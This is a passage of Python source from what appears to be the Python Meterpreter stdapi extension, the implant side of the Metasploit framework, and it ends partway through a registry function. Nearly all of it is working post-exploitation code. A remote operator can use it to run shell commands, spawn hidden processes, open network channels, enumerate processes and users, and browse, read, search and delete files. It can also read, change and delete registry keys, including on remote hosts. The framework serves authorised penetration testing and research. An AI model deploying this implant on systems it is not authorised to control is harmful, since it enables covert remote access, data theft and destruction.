TLV_TYPE_EVENT_DATA = TLV_META_TYPE_RAW | 4013
|
||||
|
||||
##
|
||||
# Power
|
||||
##
|
||||
TLV_TYPE_POWER_FLAGS = TLV_META_TYPE_UINT | 4100
|
||||
TLV_TYPE_POWER_REASON = TLV_META_TYPE_UINT | 4101
|
||||
|
||||
##
|
||||
# Sys
|
||||
##
|
||||
PROCESS_EXECUTE_FLAG_HIDDEN = (1 << 0)
|
||||
PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1)
|
||||
PROCESS_EXECUTE_FLAG_SUSPENDED = (1 << 2)
|
||||
PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN = (1 << 3)
|
||||
|
||||
PROCESS_ARCH_UNKNOWN = 0
|
||||
PROCESS_ARCH_X86 = 1
|
||||
PROCESS_ARCH_X64 = 2
|
||||
PROCESS_ARCH_IA64 = 3
|
||||
|
||||
##
|
||||
# Errors
|
||||
##
|
||||
ERROR_SUCCESS = 0
|
||||
# not defined in original C implementation
|
||||
ERROR_FAILURE = 1
|
||||
|
||||
# Special return value to match up with Windows error codes for network
|
||||
# errors.
|
||||
ERROR_CONNECTION_ERROR = 10000
|
||||
|
||||
def get_stat_buffer(path):
|
||||
si = os.stat(path)
|
||||
rdev = 0
|
||||
if hasattr(si, 'st_rdev'):
|
||||
rdev = si.st_rdev
|
||||
blksize = 0
|
||||
if hasattr(si, 'st_blksize'):
|
||||
blksize = si.st_blksize
|
||||
blocks = 0
|
||||
if hasattr(si, 'st_blocks'):
|
||||
blocks = si.st_blocks
|
||||
st_buf = struct.pack('<IHHH', si.st_dev, min(0xffff, si.st_ino), si.st_mode, si.st_nlink)
|
||||
st_buf += struct.pack('<HHHI', si.st_uid, si.st_gid, 0, rdev)
|
||||
st_buf += struct.pack('<IIII', si.st_size, si.st_atime, si.st_mtime, si.st_ctime)
|
||||
st_buf += struct.pack('<II', blksize, blocks)
|
||||
return st_buf
|
||||
|
||||
def windll_GetNativeSystemInfo():
|
||||
if not has_windll:
|
||||
return None
|
||||
sysinfo = SYSTEM_INFO()
|
||||
ctypes.windll.kernel32.GetNativeSystemInfo(ctypes.byref(sysinfo))
|
||||
return {0:PROCESS_ARCH_X86, 6:PROCESS_ARCH_IA64, 9:PROCESS_ARCH_X64}.get(sysinfo.wProcessorArchitecture, PROCESS_ARCH_UNKNOWN)
|
||||
|
||||
@meterpreter.register_function
|
||||
def channel_create_stdapi_fs_file(request, response):
|
||||
fpath = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE)
|
||||
if fmode:
|
||||
fmode = fmode['value']
|
||||
fmode = fmode.replace('bb', 'b')
|
||||
else:
|
||||
fmode = 'rb'
|
||||
file_h = open(fpath, fmode)
|
||||
channel_id = meterpreter.add_channel(file_h)
|
||||
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def channel_create_stdapi_net_tcp_client(request, response):
|
||||
host = packet_get_tlv(request, TLV_TYPE_PEER_HOST)['value']
|
||||
port = packet_get_tlv(request, TLV_TYPE_PEER_PORT)['value']
|
||||
local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST)
|
||||
local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT)
|
||||
retries = packet_get_tlv(request, TLV_TYPE_CONNECT_RETRIES).get('value', 1)
|
||||
connected = False
|
||||
for i in range(retries + 1):
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.settimeout(3.0)
|
||||
if local_host.get('value') and local_port.get('value'):
|
||||
sock.bind((local_host['value'], local_port['value']))
|
||||
try:
|
||||
sock.connect((host, port))
|
||||
connected = True
|
||||
break
|
||||
except:
|
||||
pass
|
||||
if not connected:
|
||||
return ERROR_CONNECTION_ERROR, response
|
||||
channel_id = meterpreter.add_channel(sock)
|
||||
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_sys_config_getuid(request, response):
|
||||
response += tlv_pack(TLV_TYPE_USER_NAME, getpass.getuser())
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_sys_config_sysinfo(request, response):
|
||||
uname_info = platform.uname()
|
||||
response += tlv_pack(TLV_TYPE_COMPUTER_NAME, uname_info[1])
|
||||
response += tlv_pack(TLV_TYPE_OS_NAME, uname_info[0] + ' ' + uname_info[2] + ' ' + uname_info[3])
|
||||
arch = uname_info[4]
|
||||
if has_windll:
|
||||
arch = windll_GetNativeSystemInfo()
|
||||
if arch == PROCESS_ARCH_IA64:
|
||||
arch = 'IA64'
|
||||
elif arch == PROCESS_ARCH_X64:
|
||||
arch = 'x86_64'
|
||||
elif arch == PROCESS_ARCH_X86:
|
||||
arch = 'x86'
|
||||
else:
|
||||
arch = uname_info[4]
|
||||
response += tlv_pack(TLV_TYPE_ARCHITECTURE, arch)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_sys_process_close(request, response):
|
||||
proc_h_id = packet_get_tlv(request, TLV_TYPE_PROCESS_HANDLE)
|
||||
if not proc_h_id:
|
||||
return ERROR_SUCCESS, response
|
||||
proc_h_id = proc_h_id['value']
|
||||
proc_h = meterpreter.channels[proc_h_id]
|
||||
proc_h.kill()
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_sys_process_execute(request, response):
|
||||
cmd = packet_get_tlv(request, TLV_TYPE_PROCESS_PATH)['value']
|
||||
raw_args = packet_get_tlv(request, TLV_TYPE_PROCESS_ARGUMENTS)
|
||||
if raw_args:
|
||||
raw_args = raw_args['value']
|
||||
else:
|
||||
raw_args = ""
|
||||
flags = packet_get_tlv(request, TLV_TYPE_PROCESS_FLAGS)['value']
|
||||
if len(cmd) == 0:
|
||||
return ERROR_FAILURE, response
|
||||
if os.path.isfile('/bin/sh'):
|
||||
args = ['/bin/sh', '-c', cmd + ' ' + raw_args]
|
||||
else:
|
||||
args = [cmd]
|
||||
args.extend(shlex.split(raw_args))
|
||||
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
|
||||
if has_pty:
|
||||
master, slave = pty.openpty()
|
||||
if has_termios:
|
||||
settings = termios.tcgetattr(master)
|
||||
settings[3] = settings[3] & ~termios.ECHO
|
||||
termios.tcsetattr(master, termios.TCSADRAIN, settings)
|
||||
proc_h = STDProcess(args, stdin=slave, stdout=slave, stderr=slave, bufsize=0)
|
||||
proc_h.stdin = os.fdopen(master, 'wb')
|
||||
proc_h.stdout = os.fdopen(master, 'rb')
|
||||
proc_h.stderr = open(os.devnull, 'rb')
|
||||
else:
|
||||
proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
proc_h.start()
|
||||
else:
|
||||
proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
proc_h_id = meterpreter.add_process(proc_h)
|
||||
response += tlv_pack(TLV_TYPE_PID, proc_h.pid)
|
||||
response += tlv_pack(TLV_TYPE_PROCESS_HANDLE, proc_h_id)
|
||||
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
|
||||
channel_id = meterpreter.add_channel(proc_h)
|
||||
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_sys_process_getpid(request, response):
|
||||
response += tlv_pack(TLV_TYPE_PID, os.getpid())
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
def stdapi_sys_process_get_processes_via_proc(request, response):
|
||||
for pid in os.listdir('/proc'):
|
||||
pgroup = ''
|
||||
if not os.path.isdir(os.path.join('/proc', pid)) or not pid.isdigit():
|
||||
continue
|
||||
cmd = open(os.path.join('/proc', pid, 'cmdline'), 'rb').read(512).replace('\x00', ' ')
|
||||
status_data = open(os.path.join('/proc', pid, 'status'), 'rb').read()
|
||||
status_data = map(lambda x: x.split('\t',1), status_data.split('\n'))
|
||||
status_data = filter(lambda x: len(x) == 2, status_data)
|
||||
status = {}
|
||||
for k, v in status_data:
|
||||
status[k[:-1]] = v.strip()
|
||||
ppid = status.get('PPid')
|
||||
uid = status.get('Uid').split('\t', 1)[0]
|
||||
if has_pwd:
|
||||
uid = pwd.getpwuid(int(uid)).pw_name
|
||||
if cmd:
|
||||
pname = os.path.basename(cmd.split(' ', 1)[0])
|
||||
ppath = cmd
|
||||
else:
|
||||
pname = '[' + status['Name'] + ']'
|
||||
ppath = ''
|
||||
pgroup += tlv_pack(TLV_TYPE_PID, int(pid))
|
||||
if ppid:
|
||||
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(ppid))
|
||||
pgroup += tlv_pack(TLV_TYPE_USER_NAME, uid)
|
||||
pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pname)
|
||||
pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ppath)
|
||||
response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
def stdapi_sys_process_get_processes_via_ps(request, response):
|
||||
ps_args = ['ps', 'ax', '-w', '-o', 'pid,ppid,user,command']
|
||||
proc_h = subprocess.Popen(ps_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
ps_output = proc_h.stdout.read()
|
||||
ps_output = ps_output.split('\n')
|
||||
ps_output.pop(0)
|
||||
for process in ps_output:
|
||||
process = process.split()
|
||||
if len(process) < 4:
|
||||
break
|
||||
pgroup = ''
|
||||
pgroup += tlv_pack(TLV_TYPE_PID, int(process[0]))
|
||||
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(process[1]))
|
||||
pgroup += tlv_pack(TLV_TYPE_USER_NAME, process[2])
|
||||
pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, os.path.basename(process[3]))
|
||||
pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ' '.join(process[3:]))
|
||||
response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
def stdapi_sys_process_get_processes_via_windll(request, response):
|
||||
TH32CS_SNAPPROCESS = 2
|
||||
PROCESS_QUERY_INFORMATION = 0x0400
|
||||
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
|
||||
PROCESS_VM_READ = 0x10
|
||||
TOKEN_QUERY = 0x0008
|
||||
TokenUser = 1
|
||||
k32 = ctypes.windll.kernel32
|
||||
pe32 = PROCESSENTRY32()
|
||||
pe32.dwSize = ctypes.sizeof(PROCESSENTRY32)
|
||||
proc_snap = k32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
|
||||
result = k32.Process32First(proc_snap, ctypes.byref(pe32))
|
||||
if not result:
|
||||
return ERROR_FAILURE, response
|
||||
while result:
|
||||
proc_h = k32.OpenProcess((PROCESS_QUERY_INFORMATION | PROCESS_VM_READ), False, pe32.th32ProcessID)
|
||||
if not proc_h:
|
||||
proc_h = k32.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pe32.th32ProcessID)
|
||||
exe_path = (ctypes.c_char * 1024)()
|
||||
success = False
|
||||
if hasattr(ctypes.windll.psapi, 'GetModuleFileNameExA'):
|
||||
success = ctypes.windll.psapi.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path))
|
||||
elif hasattr(k32, 'GetModuleFileNameExA'):
|
||||
success = k32.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path))
|
||||
if not success and hasattr(k32, 'QueryFullProcessImageNameA'):
|
||||
dw_sz = ctypes.c_uint32()
|
||||
dw_sz.value = ctypes.sizeof(exe_path)
|
||||
success = k32.QueryFullProcessImageNameA(proc_h, 0, exe_path, ctypes.byref(dw_sz))
|
||||
if not success and hasattr(ctypes.windll.psapi, 'GetProcessImageFileNameA'):
|
||||
success = ctypes.windll.psapi.GetProcessImageFileNameA(proc_h, exe_path, ctypes.sizeof(exe_path))
|
||||
if success:
|
||||
exe_path = ctypes.string_at(exe_path)
|
||||
else:
|
||||
exe_path = ''
|
||||
complete_username = ''
|
||||
tkn_h = ctypes.c_long()
|
||||
tkn_len = ctypes.c_uint32()
|
||||
if ctypes.windll.advapi32.OpenProcessToken(proc_h, TOKEN_QUERY, ctypes.byref(tkn_h)):
|
||||
ctypes.windll.advapi32.GetTokenInformation(tkn_h, TokenUser, None, 0, ctypes.byref(tkn_len))
|
||||
buf = (ctypes.c_ubyte * tkn_len.value)()
|
||||
if ctypes.windll.advapi32.GetTokenInformation(tkn_h, TokenUser, ctypes.byref(buf), ctypes.sizeof(buf), ctypes.byref(tkn_len)):
|
||||
user_tkn = SID_AND_ATTRIBUTES()
|
||||
ctypes.memmove(ctypes.byref(user_tkn), buf, ctypes.sizeof(user_tkn))
|
||||
username = (ctypes.c_char * 512)()
|
||||
domain = (ctypes.c_char * 512)()
|
||||
u_len = ctypes.c_uint32()
|
||||
u_len.value = ctypes.sizeof(username)
|
||||
d_len = ctypes.c_uint32()
|
||||
d_len.value = ctypes.sizeof(domain)
|
||||
use = ctypes.c_ulong()
|
||||
use.value = 0
|
||||
ctypes.windll.advapi32.LookupAccountSidA(None, user_tkn.Sid, username, ctypes.byref(u_len), domain, ctypes.byref(d_len), ctypes.byref(use))
|
||||
complete_username = ctypes.string_at(domain) + '\\' + ctypes.string_at(username)
|
||||
k32.CloseHandle(tkn_h)
|
||||
parch = windll_GetNativeSystemInfo()
|
||||
is_wow64 = ctypes.c_ubyte()
|
||||
is_wow64.value = 0
|
||||
if hasattr(k32, 'IsWow64Process'):
|
||||
if k32.IsWow64Process(proc_h, ctypes.byref(is_wow64)):
|
||||
if is_wow64.value:
|
||||
parch = PROCESS_ARCH_X86
|
||||
pgroup = ''
|
||||
pgroup += tlv_pack(TLV_TYPE_PID, pe32.th32ProcessID)
|
||||
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, pe32.th32ParentProcessID)
|
||||
pgroup += tlv_pack(TLV_TYPE_USER_NAME, complete_username)
|
||||
pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pe32.szExeFile)
|
||||
pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, exe_path)
|
||||
pgroup += tlv_pack(TLV_TYPE_PROCESS_ARCH, parch)
|
||||
response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
|
||||
result = k32.Process32Next(proc_snap, ctypes.byref(pe32))
|
||||
k32.CloseHandle(proc_h)
|
||||
k32.CloseHandle(proc_snap)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_sys_process_get_processes(request, response):
|
||||
if os.path.isdir('/proc'):
|
||||
return stdapi_sys_process_get_processes_via_proc(request, response)
|
||||
elif has_windll:
|
||||
return stdapi_sys_process_get_processes_via_windll(request, response)
|
||||
else:
|
||||
return stdapi_sys_process_get_processes_via_ps(request, response)
|
||||
return ERROR_FAILURE, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_chdir(request, response):
|
||||
wd = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
||||
os.chdir(wd)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_delete(request, response):
|
||||
file_path = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
|
||||
os.unlink(file_path)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_delete_dir(request, response):
|
||||
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
||||
if os.path.islink(dir_path):
|
||||
del_func = os.unlink
|
||||
else:
|
||||
del_func = shutil.rmtree
|
||||
del_func(dir_path)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_delete_file(request, response):
|
||||
file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
os.unlink(file_path)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_file_expand_path(request, response):
|
||||
path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
if has_windll:
|
||||
path_out = (ctypes.c_char * 4096)()
|
||||
path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(path_tlv, ctypes.byref(path_out), ctypes.sizeof(path_out))
|
||||
result = ''.join(path_out)[:path_out_len]
|
||||
elif path_tlv == '%COMSPEC%':
|
||||
result = '/bin/sh'
|
||||
elif path_tlv in ['%TEMP%', '%TMP%']:
|
||||
result = '/tmp'
|
||||
else:
|
||||
result = os.getenv(path_tlv, path_tlv)
|
||||
if not result:
|
||||
return ERROR_FAILURE, response
|
||||
response += tlv_pack(TLV_TYPE_FILE_PATH, result)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_file_move(request, response):
|
||||
oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
|
||||
newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
os.rename(oldname, newname)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_getwd(request, response):
|
||||
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd())
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_ls(request, response):
|
||||
path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
||||
path = os.path.abspath(path)
|
||||
contents = os.listdir(path)
|
||||
contents.sort()
|
||||
for x in contents:
|
||||
y = os.path.join(path, x)
|
||||
response += tlv_pack(TLV_TYPE_FILE_NAME, x)
|
||||
response += tlv_pack(TLV_TYPE_FILE_PATH, y)
|
||||
response += tlv_pack(TLV_TYPE_STAT_BUF, get_stat_buffer(y))
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_md5(request, response):
|
||||
if sys.version_info[0] == 2 and sys.version_info[1] < 5:
|
||||
import md5
|
||||
m = md5.new()
|
||||
else:
|
||||
import hashlib
|
||||
m = hashlib.md5()
|
||||
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
m.update(open(path, 'rb').read())
|
||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_mkdir(request, response):
|
||||
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
||||
os.mkdir(dir_path)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_search(request, response):
|
||||
search_root = packet_get_tlv(request, TLV_TYPE_SEARCH_ROOT).get('value', '.')
|
||||
search_root = ('' or '.') # sometimes it's an empty string
|
||||
glob = packet_get_tlv(request, TLV_TYPE_SEARCH_GLOB)['value']
|
||||
recurse = packet_get_tlv(request, TLV_TYPE_SEARCH_RECURSE)['value']
|
||||
if recurse:
|
||||
for root, dirs, files in os.walk(search_root):
|
||||
for f in filter(lambda f: fnmatch.fnmatch(f, glob), files):
|
||||
file_tlv = ''
|
||||
file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, root)
|
||||
file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f)
|
||||
file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, os.stat(os.path.join(root, f)).st_size)
|
||||
response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv)
|
||||
else:
|
||||
for f in filter(lambda f: fnmatch.fnmatch(f, glob), os.listdir(search_root)):
|
||||
file_tlv = ''
|
||||
file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, search_root)
|
||||
file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f)
|
||||
file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, os.stat(os.path.join(search_root, f)).st_size)
|
||||
response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_separator(request, response):
|
||||
response += tlv_pack(TLV_TYPE_STRING, os.sep)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_sha1(request, response):
|
||||
if sys.version_info[0] == 2 and sys.version_info[1] < 5:
|
||||
import sha1
|
||||
m = sha1.new()
|
||||
else:
|
||||
import hashlib
|
||||
m = hashlib.sha1()
|
||||
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
m.update(open(path, 'rb').read())
|
||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_stat(request, response):
|
||||
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
st_buf = get_stat_buffer(path)
|
||||
response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_net_socket_tcp_shutdown(request, response):
|
||||
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)
|
||||
channel = meterpreter.channels[channel_id]
|
||||
channel.close()
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_close_key(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
result = ctypes.windll.advapi32.RegCloseKey(hkey)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_create_key(request, response):
|
||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
||||
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
|
||||
res_key = ctypes.c_void_p()
|
||||
if ctypes.windll.advapi32.RegCreateKeyExA(root_key, base_key, 0, None, 0, permission, None, ctypes.byref(res_key), None) == ERROR_SUCCESS:
|
||||
response += tlv_pack(TLV_TYPE_HKEY, res_key.value)
|
||||
return ERROR_SUCCESS, response
|
||||
return ERROR_FAILURE, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_delete_key(request, response):
|
||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
||||
flags = packet_get_tlv(request, TLV_TYPE_FLAGS)['value']
|
||||
if (flags & DELETE_KEY_FLAG_RECURSIVE):
|
||||
result = ctypes.windll.shlwapi.SHDeleteKeyA(root_key, base_key)
|
||||
else:
|
||||
result = ctypes.windll.advapi32.RegDeleteKeyA(root_key, base_key)
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_delete_value(request, response):
|
||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
||||
result = ctypes.windll.advapi32.RegDeleteValueA(root_key, value_name)
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_enum_key(request, response):
|
||||
ERROR_MORE_DATA = 0xea
|
||||
ERROR_NO_MORE_ITEMS = 0x0103
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
name = (ctypes.c_char * 4096)()
|
||||
index = 0
|
||||
tries = 0
|
||||
while True:
|
||||
result = ctypes.windll.advapi32.RegEnumKeyA(hkey, index, name, ctypes.sizeof(name))
|
||||
if result == ERROR_MORE_DATA:
|
||||
if tries > 3:
|
||||
break
|
||||
name = (ctypes.c_char * (ctypes.sizeof(name) * 2))
|
||||
tries += 1
|
||||
continue
|
||||
elif result == ERROR_NO_MORE_ITEMS:
|
||||
result = ERROR_SUCCESS
|
||||
break
|
||||
elif result != ERROR_SUCCESS:
|
||||
break
|
||||
tries = 0
|
||||
response += tlv_pack(TLV_TYPE_KEY_NAME, ctypes.string_at(name))
|
||||
index += 1
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_enum_value(request, response):
|
||||
ERROR_MORE_DATA = 0xea
|
||||
ERROR_NO_MORE_ITEMS = 0x0103
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
name = (ctypes.c_char * 4096)()
|
||||
name_sz = ctypes.c_uint32()
|
||||
index = 0
|
||||
tries = 0
|
||||
while True:
|
||||
name_sz.value = ctypes.sizeof(name)
|
||||
result = ctypes.windll.advapi32.RegEnumValueA(hkey, index, name, ctypes.byref(name_sz), None, None, None, None)
|
||||
if result == ERROR_MORE_DATA:
|
||||
if tries > 3:
|
||||
break
|
||||
name = (ctypes.c_char * (ctypes.sizeof(name) * 3))
|
||||
tries += 1
|
||||
continue
|
||||
elif result == ERROR_NO_MORE_ITEMS:
|
||||
result = ERROR_SUCCESS
|
||||
break
|
||||
elif result != ERROR_SUCCESS:
|
||||
break
|
||||
tries = 0
|
||||
response += tlv_pack(TLV_TYPE_VALUE_NAME, ctypes.string_at(name))
|
||||
index += 1
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_load_key(request, response):
|
||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)
|
||||
sub_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)
|
||||
file_name = packet_get_tlv(request, TLV_TYPE_FILE_PATH)
|
||||
result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name)
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_open_key(request, response):
|
||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
||||
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
|
||||
handle_id = ctypes.c_void_p()
|
||||
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, base_key, 0, permission, ctypes.byref(handle_id)) == ERROR_SUCCESS:
|
||||
response += tlv_pack(TLV_TYPE_HKEY, handle_id.value)
|
||||
return ERROR_SUCCESS, response
|
||||
return ERROR_FAILURE, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_open_remote_key(request, response):
|
||||
target_host = packet_get_tlv(request, TLV_TYPE_TARGET_HOST)['value']
|
||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||
result_key = ctypes.c_void_p()
|
||||
result = ctypes.windll.advapi32.RegConnectRegistry(target_host, root_key, ctypes.byref(result_key))
|
||||
if (result == ERROR_SUCCESS):
|
||||
response += tlv_pack(TLV_TYPE_HKEY, result_key.value)
|
||||
return ERROR_SUCCESS, response
|
||||
return ERROR_FAILURE, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_query_class(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
value_data = (ctypes.c_char * 4096)()
|
||||
value_data_sz = ctypes.c_uint32()
|
||||
value_data_sz.value = ctypes.sizeof(value_data)
|
||||
result = ctypes.windll.advapi32.RegQueryInfoKeyA(hkey, value_data, ctypes.byref(value_data_sz), None, None, None, None, None, None, None, None, None)
|
||||
if result == ERROR_SUCCESS:
|
||||
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data))
|
||||
return ERROR_SUCCESS, response
|
||||
return ERROR_FAILURE, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_query_value(request, response):
|
||||
REG_SZ = 1
|
||||
REG_DWORD = 4
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
||||
value_type = ctypes.c_uint32()
|
||||
value_type.value = 0
|
||||
value_data = (ctypes.c_ubyte * 4096)()
|
||||
value_data_sz = ctypes.c_uint32()
|
||||
value_data_sz.value = ctypes.sizeof(value_data)
|
||||
result = ctypes.windll.advapi32.RegQueryValueExA(hkey, value_name, 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz))
|
||||
if result == ERROR_SUCCESS:
|
||||
response += tlv_pack(TLV_TYPE_VALUE_TYPE, value_type.value)
|
||||
if value_type.value == REG_SZ:
|
||||
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + '\x00')
|
||||
elif value_type.value == REG_DWORD:
|
||||
response += tlv_pack(TLV_TYPE_VALUE_DATA, ''.join(value_data.value)[:4])
|
||||
else:
|
||||
response += tlv_pack(TLV_TYPE_VALUE_DATA, ''.join(value_data.value)[:value_data_sz.value])
|
||||
return ERROR_SUCCESS, response
|
||||
return ERROR_FAILURE, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_set_value(request, response):
|
||||
